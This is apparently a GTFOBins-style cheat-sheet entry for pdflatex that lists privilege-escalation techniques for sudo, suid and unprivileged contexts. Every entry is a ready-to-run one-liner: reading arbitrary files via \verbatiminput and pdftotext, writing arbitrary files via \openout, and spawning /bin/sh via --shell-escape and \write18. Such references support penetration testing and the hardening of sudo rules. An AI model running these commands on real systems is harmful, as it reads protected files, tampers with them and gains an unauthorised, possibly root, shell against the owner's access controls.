pdflatex

File Read

Context: sudo, suid, unprivileged

pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}'
pdftotext texput.pdf -

File Write

Context: sudo, suid, unprivileged

pdflatex '\documentclass{article}\newwrite\tempfile\begin{document}\immediate\openout\tempfile=output-file.tex\immediate\write\tempfile{DATA}\immediate\closeout\tempfile\end{document}'

Shell

Context: sudo, suid, unprivileged

pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'